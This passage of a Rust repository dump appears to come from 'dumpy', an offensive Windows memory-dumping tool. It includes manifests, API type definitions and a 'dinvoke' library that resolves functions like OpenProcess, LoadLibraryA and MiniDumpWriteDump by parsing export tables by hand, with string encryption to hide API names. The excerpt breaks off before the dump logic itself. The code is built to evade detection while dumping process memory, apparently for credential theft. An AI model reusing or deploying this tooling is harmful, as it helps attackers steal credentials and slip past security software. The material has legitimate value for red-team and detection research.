18 | [dependencies]
19 | dumper = { path = "dumper"}
20 | litcrypt2 = "0.1.2"
21 | getopts = "0.2"
22 |
23 | [build-dependencies]
24 | static_vcruntime = "2.0"
25 |
--------------------------------------------------------------------------------
/dumpy/bindings/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "bindings"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 | [profile.dev.package.bindings]
8 | opt-level = 2
9 | debug = 0
10 |
11 | [dependencies]
12 | windows = "0.19"
13 |
14 | [build-dependencies]
15 | windows = "0.19"
--------------------------------------------------------------------------------
/dumpy/bindings/build.rs:
--------------------------------------------------------------------------------
1 | fn main() {
2 | windows::build!(
3 | Windows::Win32::System::Diagnostics::Debug::{IMAGE_FILE_HEADER,IMAGE_OPTIONAL_HEADER32,IMAGE_SECTION_HEADER,
4 | IMAGE_DATA_DIRECTORY,IMAGE_OPTIONAL_HEADER_MAGIC,IMAGE_SUBSYSTEM,MINIDUMP_EXCEPTION_INFORMATION,MINIDUMP_USER_STREAM_INFORMATION,
5 | MINIDUMP_CALLBACK_INFORMATION},
6 | Windows::Win32::System::Memory::{VIRTUAL_ALLOCATION_TYPE,PAGE_PROTECTION_FLAGS},
7 | Windows::Win32::Foundation::{HANDLE,HINSTANCE,PSTR,BOOL},
8 | Windows::Win32::System::Threading::{GetCurrentProcess,GetCurrentThread,PROCESS_BASIC_INFORMATION,STARTUPINFOW,PROCESS_INFORMATION},
9 | Windows::Win32::System::SystemServices::{IMAGE_BASE_RELOCATION,IMAGE_IMPORT_DESCRIPTOR,IMAGE_THUNK_DATA32,IMAGE_THUNK_DATA64},
10 | Windows::Win32::System::WindowsProgramming::{PUBLIC_OBJECT_TYPE_INFORMATION,OBJECT_ATTRIBUTES,CLIENT_ID},
11 | Windows::Win32::Security::SECURITY_ATTRIBUTES,
12 | Windows::Win32::System::WindowsProgramming::IO_STATUS_BLOCK
13 | );
14 | }
--------------------------------------------------------------------------------
/dumpy/bindings/src/lib.rs:
--------------------------------------------------------------------------------
1 | windows::include_bindings!();
--------------------------------------------------------------------------------
/dumpy/build.rs:
--------------------------------------------------------------------------------
1 | fn main()
2 | {
3 | static_vcruntime::metabuild();
4 | }
--------------------------------------------------------------------------------
/dumpy/data/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "data"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 | [profile.dev.package.data]
8 | opt-level = 2
9 | debug = 0
10 |
11 | [dependencies]
12 | bindings = { path = "../bindings" }
--------------------------------------------------------------------------------
/dumpy/data/src/lib.rs:
--------------------------------------------------------------------------------
1 | use std::{collections::BTreeMap, ffi::c_void};
2 | use bindings::Windows::Win32::{Foundation::{BOOL, HANDLE, HINSTANCE, PSTR}, Security::SECURITY_ATTRIBUTES, System::{Diagnostics::Debug::{IMAGE_DATA_DIRECTORY, IMAGE_OPTIONAL_HEADER32, IMAGE_SECTION_HEADER, MINIDUMP_CALLBACK_INFORMATION, MINIDUMP_EXCEPTION_INFORMATION, MINIDUMP_USER_STREAM_INFORMATION}, WindowsProgramming::{CLIENT_ID, OBJECT_ATTRIBUTES, IO_STATUS_BLOCK}, Threading::{STARTUPINFOW, PROCESS_INFORMATION}}};
3 |
4 | pub type PVOID = *mut c_void;
5 | pub type DWORD = u32;
6 | pub type EAT = BTreeMap;
7 | pub type EntryPoint = extern "system" fn (HINSTANCE, u32, *mut c_void) -> BOOL;
8 | pub type SetHandleInformation = extern "system" fn (HANDLE, u32, u32) -> BOOL;
9 | pub type LoadLibraryA = unsafe extern "system" fn (PSTR) -> HINSTANCE;
10 | pub type GetLastError = unsafe extern "system" fn () -> u32;
11 | pub type OpenProcess = unsafe extern "system" fn (u32, i32, u32) -> HANDLE;
12 | pub type QueryFullProcessImageNameW = unsafe extern "system" fn (HANDLE, u32, *mut u16, *mut u32) -> i32;
13 | pub type MiniDumpWriteDump = unsafe extern "system" fn (HANDLE, u32, HANDLE, u32, *mut MINIDUMP_EXCEPTION_INFORMATION,
14 | *mut MINIDUMP_USER_STREAM_INFORMATION, *mut MINIDUMP_CALLBACK_INFORMATION) -> i32;
15 | pub type DeviceIoControl = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, PVOID, u32, *mut u32, *mut OVERLAPPED) -> BOOL;
16 | pub type CreateEvent = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, bool, bool, *const u16) -> HANDLE;
17 | pub type GetOverlappedResult = unsafe extern "system" fn (HANDLE, *mut OVERLAPPED, *mut u32, bool) -> BOOL;
18 | pub type CreateFile = unsafe extern "system" fn (*const u16, u32, u32, *const SECURITY_ATTRIBUTES, u32, u32, HANDLE) -> HANDLE;
19 | pub type CreateTransaction = unsafe extern "system" fn (*mut SECURITY_ATTRIBUTES, *mut GUID, u32, u32, u32, u32, *mut u16) -> HANDLE;
20 | pub type CreateFileTransactedA = unsafe extern "system" fn (*mut u8, u32, u32, *const SECURITY_ATTRIBUTES, u32, u32, HANDLE,
21 | HANDLE, *const u32, PVOID) -> HANDLE;
22 | pub type RollbackTransaction = unsafe extern "system" fn (HANDLE) -> BOOL;
23 | pub type GetFileSize = unsafe extern "system" fn (HANDLE, *mut u32) -> u32;
24 | pub type CreateFileMapping = unsafe extern "system" fn (HANDLE, *const SECURITY_ATTRIBUTES, u32, u32, u32, *mut u8) -> HANDLE;
25 | pub type MapViewOfFile = unsafe extern "system" fn (HANDLE, u32, u32, u32, usize) -> PVOID;
26 | pub type UnmapViewOfFile = unsafe extern "system" fn (PVOID) -> BOOL;
27 | pub type CloseHandle = unsafe extern "system" fn (HANDLE) -> i32;
28 | pub type CreateProcessWithLogon = unsafe extern "system" fn (*const u16, *const u16, *const u16, u32, *const u16, *mut u16, u32, *const c_void, *const u16, *const STARTUPINFOW, *mut PROCESS_INFORMATION) -> BOOL;
29 | pub type LdrGetProcedureAddress = unsafe extern "system" fn (PVOID, *mut String, u32, *mut PVOID) -> i32;
30 | pub type NtWriteVirtualMemory = unsafe extern "system" fn (HANDLE, PVOID, PVOID, usize, *mut usize) -> i32;
31 | pub type NtProtectVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID, *mut usize, u32, *mut u32) -> i32;
32 | pub type NtAllocateVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID, usize, *mut usize, u32, u32) -> i32;
33 | pub type NtQueryInformationProcess = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
34 | pub type NtQueryInformationThread = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
35 | pub type NtQuerySystemInformation = unsafe extern "system" fn (u32, PVOID, u32, *mut u32) -> i32;
36 | pub type NtQueryInformationFile = unsafe extern "system" fn (HANDLE, *mut IO_STATUS_BLOCK, PVOID, u32, u32) -> i32;
37 | pub type NtDuplicateObject = unsafe extern "system" fn (HANDLE, HANDLE, HANDLE, *mut HANDLE, u32, u32, u32) -> i32;
38 | pub type NtQueryObject = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
39 | pub type NtOpenProcess = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, *mut CLIENT_ID) -> i32;
40 | pub type RtlAdjustPrivilege = unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32;
41 |
42 | pub const DLL_PROCESS_DETACH: u32 = 0;
43 | pub const DLL_PROCESS_ATTACH: u32 = 1;
44 | pub const DLL_THREAD_ATTACH: u32 = 2;
45 | pub const DLL_THREAD_DETACH: u32 = 3;
46 |
47 | pub const PAGE_READONLY: u32 = 0x2;
48 | pub const PAGE_READWRITE: u32 = 0x4;
49 | pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
50 | pub const PAGE_EXECUTE_READ: u32 = 0x20;
51 | pub const PAGE_EXECUTE: u32 = 0x10;
52 |
53 | pub const MEM_COMMIT: u32 = 0x1000;
54 | pub const MEM_RESERVE: u32 = 0x2000;
55 |
56 | pub const SECTION_MEM_READ: u32 = 0x40000000;
57 | pub const SECTION_MEM_WRITE: u32 = 0x80000000;
58 | pub const SECTION_MEM_EXECUTE: u32 = 0x20000000;
59 |
60 | pub const GENERIC_READ: u32 = 0x80000000;
61 | pub const GENERIC_WRITE: u32 = 0x40000000;
62 | pub const GENERIC_EXECUTE: u32 = 0x20000000;
63 | pub const GENERIC_ALL: u32 = 0x10000000;
64 | pub const THREAD_ALL_ACCESS: u32 = 0x000F0000 | 0x00100000 | 0xFFFF;
65 |
66 |
67 | #[derive(Clone)]
68 | #[repr(C)]
69 | pub struct PeMetadata {
70 | pub pe: u32,
71 | pub is_32_bit: bool,
72 | pub image_file_header: IMAGE_FILE_HEADER,
73 | pub opt_header_32: IMAGE_OPTIONAL_HEADER32,
74 | pub opt_header_64: IMAGE_OPTIONAL_HEADER64,
75 | pub sections: Vec
76 | }
77 |
78 | impl Default for PeMetadata {
79 | fn default() -> PeMetadata {
80 | PeMetadata {
81 | pe: u32::default(),
82 | is_32_bit: false,
83 | image_file_header: IMAGE_FILE_HEADER::default(),
84 | opt_header_32: IMAGE_OPTIONAL_HEADER32::default(),
85 | opt_header_64: IMAGE_OPTIONAL_HEADER64::default(),
86 | sections: Vec::default(),
87 | }
88 | }
89 | }
90 |
91 | #[repr(C)]
92 | #[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
93 | pub struct ApiSetNamespace {
94 | pub unused: [u8;12],
95 | pub count: i32, // offset 0x0C
96 | pub entry_offset: i32, // offset 0x10
97 | }
98 |
99 | #[repr(C)]
100 | #[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
101 | pub struct ApiSetNamespaceEntry {
102 | pub unused1: [u8;4],
103 | pub name_offset: i32, // offset 0x04
104 | pub name_length: i32, // offset 0x08
105 | pub unused2: [u8;4],
106 | pub value_offset: i32, // offset 0x10
107 | pub value_length: i32, // offset 0x14
108 | }
109 |
110 | #[repr(C)]
111 | #[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
112 | pub struct ApiSetValueEntry {
113 | pub flags: i32, // offset 0x00
114 | pub name_offset: i32, // offset 0x04
115 | pub name_count: i32, // offset 0x08
116 | pub value_offset: i32, // offset 0x0C
117 | pub value_count: i32, // offset 0x10
118 | }
119 |
120 | #[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
121 | #[repr(C)]
122 | pub struct IMAGE_FILE_HEADER {
123 | pub machine: u16,
124 | pub number_of_sections: u16,
125 | pub time_data_stamp: u32,
126 | pub pointer_to_symbol_table: u32,
127 | pub number_of_symbols: u32,
128 | pub size_of_optional_header: u16,
129 | pub characteristics: u16,
130 | }
131 |
132 | #[derive(Copy, Clone,Default)]
133 | #[repr(C)] // required to keep fields order, otherwise Rust may change that order randomly
134 | pub struct IMAGE_OPTIONAL_HEADER64 {
135 | pub magic: u16,
136 | pub major_linker_version: u8,
137 | pub minor_linker_version: u8,
138 | pub size_of_code: u32,
139 | pub size_of_initialized_data: u32,
140 | pub size_of_unitialized_data: u32,
141 | pub address_of_entry_point: u32,
142 | pub base_of_code: u32,
143 | pub image_base: u64,
144 | pub section_alignment: u32,
145 | pub file_alignment: u32,
146 | pub major_operating_system_version: u16,
147 | pub minor_operating_system_version: u16,
148 | pub major_image_version: u16,
149 | pub minor_image_version: u16,
150 | pub major_subsystem_version: u16,
151 | pub minor_subsystem_version: u16,
152 | pub win32_version_value: u32,
153 | pub size_of_image: u32,
154 | pub size_of_headers: u32,
155 | pub checksum: u32,
156 | pub subsystem: u16,
157 | pub dll_characteristics: u16,
158 | pub size_of_stack_reserve: u64,
159 | pub size_of_stack_commit: u64,
160 | pub size_of_heap_reserve: u64,
161 | pub size_of_heap_commit: u64,
162 | pub loader_flags: u32,
163 | pub number_of_rva_and_sizes: u32,
164 | pub datas_directory: [IMAGE_DATA_DIRECTORY; 16],
165 | }
166 |
167 | #[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
168 | #[repr(C)]
169 | pub struct GUID
170 | {
171 | pub data1: u32,
172 | pub data2: u16,
173 | pub data3: u16,
174 | pub data4: [u8; 8],
175 | }
176 |
177 | #[repr(C)]
178 | pub struct SYSTEM_HANDLE_INFORMATION {
179 | pub number_of_handles: u32,
180 | pub handles: Vec,
181 | }
182 |
183 | #[repr(C)]
184 | pub struct SYSTEM_HANDLE_TABLE_ENTRY_INFO {
185 | pub process_id: u16,
186 | pub creator_back_trace_index: u16,
187 | pub object_type_index: u8,
188 | pub handle_attributes: u8,
189 | pub handle_value: u16,
190 | pub object: PVOID,
191 | pub granted_access: u32,
192 | }
193 |
194 | #[repr(C)]
195 | pub struct THREAD_BASIC_INFORMATION {
196 | pub exit_status: i32,
197 | pub teb_base_address: PVOID,
198 | pub client_id: CLIENT_ID,
199 | pub affinity_mask: usize,
200 | pub priority: i32,
201 | pub base_priority: i32,
202 |
203 | }
204 |
205 | #[repr(C)]
206 | pub struct OVERLAPPED {
207 | pub internal: usize,
208 | pub internal_high: usize,
209 | pub anonymous: OVERLAPPED0,
210 | pub event_handle: HANDLE,
211 | }
212 |
213 | impl Default for OVERLAPPED {
214 | fn default() -> OVERLAPPED {
215 | OVERLAPPED {
216 | internal: 0usize,
217 | internal_high: 0usize,
218 | anonymous: OVERLAPPED0::default(),
219 | event_handle: HANDLE::default(),
220 | }
221 | }
222 | }
223 |
224 | pub union OVERLAPPED0 {
225 | pub anonymous: OVERLAPPED_0_0,
226 | pub pointer: *mut c_void,
227 | }
228 |
229 | impl Default for OVERLAPPED0 {
230 | fn default() -> OVERLAPPED0 {
231 | OVERLAPPED0 {
232 | anonymous: OVERLAPPED_0_0::default(),
233 | }
234 | }
235 | }
236 |
237 | #[repr(C)]
238 | #[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
239 | pub struct OVERLAPPED_0_0 {
240 | pub offset: u32,
241 | pub offset_high: u32,
242 | }
243 |
244 | #[repr(C)]
245 | #[derive(Copy, Clone, Default)]
246 | pub struct REQUEST_OPLOCK_INPUT_BUFFER {
247 | pub structure_version: u16,
248 | pub structure_length: u16,
249 | pub requested_oplock_level: u32,
250 | pub flags: u32,
251 | }
252 |
253 | #[repr(C)]
254 | #[derive(Copy, Clone, Default)]
255 | pub struct REQUEST_OPLOCK_OUTPUT_BUFFER {
256 | pub structure_version: u16,
257 | pub structure_length: u16,
258 | pub original_oplock_level: u32,
259 | pub new_oplock_level: u32,
260 | pub flags: u32,
261 | pub access_mode: u32,
262 | pub share_mode: u16,
263 | }
264 |
265 | #[repr(C)]
266 | pub struct FILE_PROCESS_IDS_USING_FILE_INFORMATION {
267 | pub number_of_process_ids_in_list: u32,
268 | pub process_id_list: [usize;1],
269 | }
--------------------------------------------------------------------------------
/dumpy/dinvoke/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "dinvoke"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 | [profile.dev.package.dinvoke]
8 | opt-level = 2
9 | debug = 0
10 |
11 | [dependencies]
12 | bindings = { path = "../bindings" }
13 | data = { path = "../data" }
14 | libc = "0.2.101"
15 | winproc = "0.6.4"
16 | litcrypt2 = "0.1.2"
--------------------------------------------------------------------------------
/dumpy/dinvoke/src/lib.rs:
--------------------------------------------------------------------------------
1 | #[macro_use]
2 | extern crate litcrypt2;
3 | use_litcrypt!();
4 |
5 | use std::ptr;
6 | use std::ffi::CString;
7 | use data::{CloseHandle, DLL_PROCESS_ATTACH, EntryPoint, LdrGetProcedureAddress, LoadLibraryA, OpenProcess, PVOID, PeMetadata, GUID};
8 | use libc::c_void;
9 | use litcrypt2::lc;
10 | use winproc::Process;
11 |
12 | use bindings::Windows::Win32::{Foundation::{HANDLE, HINSTANCE, PSTR, BOOL}, System::{WindowsProgramming::{OBJECT_ATTRIBUTES, CLIENT_ID, IO_STATUS_BLOCK}, Diagnostics::Debug::{MINIDUMP_EXCEPTION_INFORMATION, MINIDUMP_USER_STREAM_INFORMATION, MINIDUMP_CALLBACK_INFORMATION}}, Security::SECURITY_ATTRIBUTES};
13 |
14 |
15 | /// Retrieves the base address of a module loaded in the current process.
16 | ///
17 | /// In case that the module can't be found in the current process, it will
18 | /// return 0.
19 | ///
20 | /// # Examples
21 | ///
22 | /// ```
23 | /// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
24 | ///
25 | /// if ntdll != 0
26 | /// {
27 | /// println!("The base address of ntdll.dll is 0x{:X}.", ntdll);
28 | /// }
29 | /// ```
30 | pub fn get_module_base_address (module_name: &str) -> isize
31 | {
32 | let process = Process::current();
33 | let modules = process.module_list().unwrap();
34 | for m in modules
35 | {
36 | if m.name().unwrap().to_lowercase() == module_name.to_ascii_lowercase()
37 | {
38 | let handle = m.handle();
39 | return handle as isize;
40 | }
41 | }
42 |
43 | 0
44 | }
45 |
46 | /// Retrieves the address of an exported function from the specified module.
47 | ///
48 | /// This functions is analogous to GetProcAddress from Win32. The exported
49 | /// function's address is obtained by walking and parsing the EAT of the
50 | /// specified module.
51 | ///
52 | /// In case that the function's address can't be retrieved, it will return 0.
53 | ///
54 | /// # Examples
55 | ///
56 | /// ```
57 | /// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
58 | ///
59 | /// if ntdll != 0
60 | /// {
61 | /// let addr = dinvoke::get_function_address(ntdll, "NtCreateThread");
62 | /// println!("The address where NtCreateThread is located at is 0x{:X}.", addr);
63 | /// }
64 | /// ```
65 | pub fn get_function_address(module_base_address: isize, function: &str) -> isize {
66 |
67 | unsafe
68 | {
69 |
70 | let mut function_ptr:*mut i32 = ptr::null_mut();
71 | let pe_header = *((module_base_address + 0x3C) as *mut i32);
72 | let opt_header: isize = module_base_address + (pe_header as isize) + 0x18;
73 | let magic = *(opt_header as *mut i16);
74 | let p_export: isize;
75 |
76 | if magic == 0x010b
77 | {
78 | p_export = opt_header + 0x60;
79 | }
80 | else
81 | {
82 | p_export = opt_header + 0x70;
83 | }
84 |
85 | let export_rva = *(p_export as *mut i32);
86 | let ordinal_base = *((module_base_address + export_rva as isize + 0x10) as *mut i32);
87 | let number_of_names = *((module_base_address + export_rva as isize + 0x18) as *mut i32);
88 | let functions_rva = *((module_base_address + export_rva as isize + 0x1C) as *mut i32);
89 | let names_rva = *((module_base_address + export_rva as isize + 0x20) as *mut i32);
90 | let ordinals_rva = *((module_base_address + export_rva as isize + 0x24) as *mut i32);
91 |
92 | for x in 0..number_of_names
93 | {
94 |
95 | let address = *((module_base_address + names_rva as isize + x as isize * 4) as *mut i32);
96 | let mut function_name_ptr = (module_base_address + address as isize) as *mut u8;
97 | let mut function_name: String = "".to_string();
98 |
99 | while *function_name_ptr as char != '\0' // null byte
100 | {
101 | function_name.push(*function_name_ptr as char);
102 | function_name_ptr = function_name_ptr.add(1);
103 | }
104 |
105 | if function_name.to_lowercase() == function.to_lowercase()
106 | {
107 | let function_ordinal = *((module_base_address + ordinals_rva as isize + x as isize * 2) as *mut i16) as i32 + ordinal_base;
108 | let function_rva = *(((module_base_address + functions_rva as isize + (4 * (function_ordinal - ordinal_base)) as isize )) as *mut i32);
109 | function_ptr = (module_base_address + function_rva as isize) as *mut i32;
110 |
111 | break;
112 | }
113 |
114 | }
115 |
116 | let mut ret: isize = 0;
117 |
118 | if function_ptr != ptr::null_mut()
119 | {
120 | ret = function_ptr as isize;
121 | }
122 |
123 | ret
124 |
125 | }
126 | }
127 |
128 | /// Calls the module's entry point with the option DLL_ATTACH_PROCESS.
129 | ///
130 | /// # Examples
131 | ///
132 | /// ```ignore
133 | /// let pe = manualmap::read_and_map_module("c:\\some\\random\\file.dll").unwrap();
134 | /// let ret = dinvoke::call_module_entry_point(&pe.0, pe.1);
135 | /// ```
136 | pub fn call_module_entry_point(pe_info: &PeMetadata, module_base_address: isize) -> Result<(), String> {
137 |
138 | let entry_point: isize;
139 | if pe_info.is_32_bit
140 | {
141 | entry_point = module_base_address + pe_info.opt_header_32.AddressOfEntryPoint as isize;
142 | }
143 | else
144 | {
145 | entry_point = module_base_address + pe_info.opt_header_64.address_of_entry_point as isize;
146 |
147 | }
148 |
149 | unsafe
150 | {
151 | let main: EntryPoint = std::mem::transmute(entry_point);
152 | let module = HINSTANCE {0: entry_point as isize};
153 | let ret = main(module, DLL_PROCESS_ATTACH, ptr::null_mut());
154 |
155 | if !ret.as_bool()
156 | {
157 | return Err(lc!("[x] Failed to call module's entry point (DllMain -> DLL_PROCESS_ATTACH)."));
158 | }
159 |
160 | Ok(())
161 | }
162 | }
163 |
164 | /// Retrieves the address of an exported function from the specified module by its ordinal.
165 | ///
166 | /// In case that the function's address can't be retrieved, it will return 0.
167 | ///
168 | /// This functions internally calls LdrGetProcedureAddress.
169 | ///
170 | /// # Examples
171 | ///
172 | /// ```
173 | /// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
174 | ///
175 | /// if ntdll != 0
176 | /// {
177 | /// let ordinal: u32 = 8;
178 | /// let addr = dinvoke::get_function_address_ordinal(ntdll, 8);
179 | /// println!("The function with ordinal 8 is located at 0x{:X}.", addr);
180 | /// }
181 | /// ```
182 | pub fn get_function_address_by_ordinal(module_base_address: isize, ordinal: u32) -> isize {
183 |
184 | let ret = ldr_get_procedure_address(module_base_address, "", ordinal);
185 |
186 | match ret {
187 | Ok(r) => return r,
188 | Err(_) => return 0,
189 | }
190 |
191 | }
192 |
193 | /// Retrieves the address of an exported function from the specified module either by its name
194 | /// or by its ordinal number.
195 | ///
196 | /// This functions internally calls LdrGetProcedureAddress.
197 | ///
198 | /// In case that the function's address can't be retrieved, it will return an Err with a
199 | /// descriptive error message.
200 | ///
201 | /// # Examples
202 | ///
203 | /// ```
204 | /// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
205 | ///
206 | /// if ntdll != 0
207 | /// {
208 | /// let ordinal: u32 = 8; // Ordinal 8 represents the function RtlDispatchAPC
209 | /// let ret = dinvoke::ldr_get_procedure_address(ntdll,"", 8);
210 | /// match ret {
211 | /// Ok(addr) => println!("The address where RtlDispatchAPC is located at is 0x{:X}.", addr),
212 | /// Err(e) => println!("{}",e),
213 | /// }
214 | ///
215 | /// }
216 | /// ```
217 | ///
218 | #[allow(invalid_reference_casting)]
219 | pub fn ldr_get_procedure_address (module_handle: isize, function_name: &str, ordinal: u32) -> Result {
220 |
221 | unsafe
222 | {
223 | let mut result: isize = 0;
224 |
225 | let module_base_address = get_module_base_address(&lc!("ntdll.dll"));
226 | if module_base_address != 0
227 | {
228 | let function_address: isize = get_function_address(module_base_address, &lc!("LdrGetProcedureAddress"));
229 |
230 | if function_address != 0
231 | {
232 | let hmodule: PVOID = std::mem::transmute(module_handle);
233 | let func_ptr: LdrGetProcedureAddress = std::mem::transmute(function_address);
234 | let return_address: *mut c_void = std::mem::transmute(&u64::default());
235 | let return_address: *mut PVOID = std::mem::transmute(return_address);
236 | let mut fun_name: *mut String = std::mem::transmute(&String::default());
237 |
238 | if function_name == ""
239 | {
240 | fun_name = ptr::null_mut();
241 | }
242 | else
243 | {
244 | *fun_name = function_name.to_string();
245 | }
246 |
247 | let ret = func_ptr(hmodule, fun_name, ordinal, return_address);
248 |
249 | if ret == 0
250 | {
251 | result = *return_address as isize;
252 | }
253 | }
254 | else
255 | {
256 | return Err(lc!("[x] Error obtaining LdrGetProcedureAddress address."));
257 | }
258 | }
259 | else
260 | {
261 | return Err(lc!("[x] Error obtaining ntdll.dll base address."));
262 | }
263 |
264 | Ok(result)
265 | }
266 | }
267 |
268 | /// Loads and retrieves a module's base address by dynamically calling LoadLibraryA.
269 | ///
270 | /// It will return either the module's base address or an Err with a descriptive error message.
271 | ///
272 | /// # Examples
273 | ///
274 | /// ```
275 | /// let ret = dinvoke::load_library_a("ntdll.dll");
276 | ///
277 | /// match ret {
278 | /// Ok(addr) => if addr != 0 {println!("ntdll.dll base address is 0x{:X}.", addr)},
279 | /// Err(e) => println!("{}",e),
280 | /// }
281 | /// ```
282 | pub fn load_library_a(module: &str) -> Result {
283 |
284 | unsafe
285 | {
286 |
287 | let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
288 | let result;
289 | if module_base_address != 0
290 | {
291 | let function_address = get_function_address(module_base_address, &lc!("LoadLibraryA"));
292 |
293 | if function_address != 0
294 | {
295 | let function_ptr: LoadLibraryA = std::mem::transmute(function_address);
296 | let name = CString::new(module.to_string()).expect("CString::new failed");
297 | let function_name = PSTR{0: name.as_ptr() as *mut u8};
298 |
299 | result = function_ptr(function_name);
300 | }
301 | else
302 | {
303 | return Err(lc!("[x] Error obtaining LoadLibraryA address."));
304 | }
305 | }
306 | else
307 | {
308 | return Err(lc!("[x] Error obtaining kernel32.dll base address."));
309 | }
310 |
311 | Ok(result.0 as isize)
312 | }
313 |
314 | }
315 |
316 | /// Opens a HANDLE to a process.
317 | ///
318 | /// It will return either a HANDLE object or an Err with a descriptive error message. If the function
319 | /// fails the HANDLE will have value -1 or 0.
320 | ///
321 | /// # Examples
322 | ///
323 | /// ```
324 | /// let pid = 792u32;
325 | /// let handle = dinvoke::open_process(0x0040, 0, pid).unwrap(); //PROCESS_DUP_HANDLE access right.
326 | ///
327 | /// if handle.0 != 0 && handle.0 != -1
328 | /// {
329 | /// println!("Handle to process with id {} with PROCESS_DUP_HANDLE access right successfully obtained.", pid);
330 | /// }
331 | /// ```
332 | pub fn open_process(desired_access: u32, inherit_handle: i32, process_id: u32) -> Result {
333 |
334 | unsafe
335 | {
336 |
337 | let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
338 | let handle;
339 | if module_base_address != 0
340 | {
341 | let function_address = get_function_address(module_base_address, &lc!("OpenProcess"));
342 |
343 | if function_address != 0
344 | {
345 | let function_ptr: OpenProcess = std::mem::transmute(function_address);
346 |
347 |
348 | handle = function_ptr(desired_access,inherit_handle,process_id);
349 | }
350 | else
351 | {
352 | return Err(lc!("[x] Error obtaining OpenProcess address."));
353 | }
354 | }
355 | else
356 | {
357 | return Err(lc!("[x] Error obtaining kernel32.dll base address."));
358 | }
359 |
360 | Ok(handle)
361 | }
362 |
363 | }
364 |
365 | /// Closes a HANDLE object.
366 | ///
367 | /// It will return either a boolean value or an Err with a descriptive error message. If the function
368 | /// fails the bool value returned will be false.
369 | ///
370 | /// # Examples
371 | ///
372 | /// ```
373 | /// let pid = 792u32;
374 | /// let handle = dinvoke::open_process(0x0040, 0, pid).unwrap(); //PROCESS_DUP_HANDLE access right.
375 | ///
376 | /// if handle.0 != 0 && handle.0 != -1
377 | /// {
378 | /// let r = dinvoke::close_handle(handle).unwrap();
379 | /// if r
380 | /// {
381 | /// println!("Handle to process with id {} closed.", pid);
382 | /// }
383 | /// }
384 | /// ```
385 | pub fn close_handle(handle: HANDLE) -> Result {
386 | unsafe
387 | {
388 |
389 | let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
390 | let ret;
391 | if module_base_address != 0
392 | {
393 | let function_address = get_function_address(module_base_address, &lc!("CloseHandle"));
394 |
395 | if function_address != 0
396 | {
397 | let function_ptr: CloseHandle = std::mem::transmute(function_address);
398 |
399 |
400 | ret = function_ptr(handle);
401 | }
402 | else
403 | {
404 | return Err(lc!("[x] Error obtaining CloseHandle address."));
405 | }
406 | }
407 | else
408 | {
409 | return Err(lc!("[x] Error obtaining kernel32.dll base address."));
410 | }
411 |
412 | if ret == 0
413 | {
414 | return Ok(false);
415 | }
416 |
417 | Ok(true)
418 | }
419 | }
420 |
421 | /// Dynamically calls QueryFullProcessImageNameW.
422 | ///
423 | pub fn query_full_process_image_name(process_handle: HANDLE, flags: u32, name: *mut u16, size: *mut u32) -> i32 {
424 |
425 | unsafe
426 | {
427 | let ret;
428 | let func_ptr: data::QueryFullProcessImageNameW;
429 | let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
430 | dynamic_invoke!(kernel32,&lc!("QueryFullProcessImageNameW"),func_ptr,ret,process_handle,flags,name,size);
431 |
432 | match ret {
433 | Some(x) => return x,
434 | None => return -1,
435 | }
436 | }
437 | }
438 |
439 | /// Dynamically calls CreateTransaction.
440 | ///
441 | pub fn create_transaction(attributes: *mut SECURITY_ATTRIBUTES,uow: *mut GUID, options: u32, isolation_level: u32, isolation_flags: u32, timeout: u32, description: *mut u16) -> HANDLE {
442 |
443 | unsafe
444 | {
445 | let ret: Option;
446 | let func_ptr: data::CreateTransaction;
447 | let ktmv = load_library_a(&lc!("KtmW32.dll")).unwrap();
448 | dynamic_invoke!(ktmv,&lc!("CreateTransaction"),func_ptr,ret,attributes,uow,options,isolation_level,isolation_flags,timeout,description);
449 |
450 | match ret {
451 | Some(x) => return x,
452 | None => return HANDLE { 0: 0 } ,
453 | }
454 | }
455 | }
456 |
457 | /// Dynamically calls CreateFileTransactedA.
458 | ///
459 | pub fn create_file_transacted(name: *mut u8, access: u32, mode: u32, attributes: *const SECURITY_ATTRIBUTES, disposition: u32, flags: u32, template: HANDLE, transaction: HANDLE, version: *const u32, extended: PVOID) -> HANDLE {
460 |
461 | unsafe
462 | {
463 | let ret: Option;
464 | let func_ptr: data::CreateFileTransactedA;
465 | let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
466 | dynamic_invoke!(kernel32,&lc!("CreateFileTransactedW"),func_ptr,ret,name,access,mode,attributes,disposition,flags,template,transaction,version,extended);
467 |
468 | match ret {
469 | Some(x) => return x,
470 | None => return HANDLE { 0: 0 } ,
471 | }
472 | }
473 | }
474 |
475 | /// Dynamically calls MiniDumpWriteDump.
476 | ///
